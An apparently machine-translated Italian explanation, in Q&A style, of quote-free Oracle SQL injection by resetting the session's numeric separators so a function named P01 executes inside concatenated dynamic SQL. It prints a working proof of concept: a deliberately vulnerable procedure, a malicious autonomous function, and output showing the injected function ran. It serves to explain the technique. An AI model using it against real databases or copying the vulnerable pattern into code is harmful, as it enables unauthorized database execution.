Sì, è possibile eseguire un attacco di iniezione SQL senza fornire virgolette nel parametro.
Il modo per farlo è con un exploit a che fare con il modo in cui i numeri e / o le date vengono elaborati. È possibile specificare a livello di sessione quale sia il formato di una data o di un numero. Manipolandolo, puoi quindi iniettare qualsiasi personaggio.
Per impostazione predefinita nel Regno Unito e negli Stati Uniti, una virgola viene utilizzata per indicare il separatore delle migliaia in numeri e un punto per il punto decimale. È possibile modificare queste impostazioni predefinite eseguendo:
alter session set nls_numeric_characters = 'PZ';
Ciò significa che "P" è ora il punto decimale e "Z" è il separatore delle migliaia. Così:
0P01
È il numero 0,01. Tuttavia, se si crea una funzione P01, il riferimento all'oggetto verrà raccolto prima della conversione del numero. Ciò consente di eseguire funzioni sul database offrendo poteri crescenti, come segue:
Creare una funzione "get by id" di base:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Crea anche una funzione P01 che fa qualcosa di indesiderabile (in questo caso solo creando una tabella, ma ottieni l'idea):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
E siamo a posto:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Nessuna virgoletta da nessuna parte, ma siamo comunque riusciti a eseguire la funzione "nascosta" P01 e creare la tabella t
!
Mentre questo può essere difficile da fare in pratica (e può richiedere alcune conoscenze / aiuto interni), ciò dimostra che è possibile iniettare SQL senza dover avere virgolette. La modifica di nls_date_format
può consentire operazioni simili.
Le scoperte originali per i numeri erano di David Litchfield e puoi leggere il suo articolo qui . Puoi trovare la discussione di Tom Kyte su come le date possono essere sfruttate qui .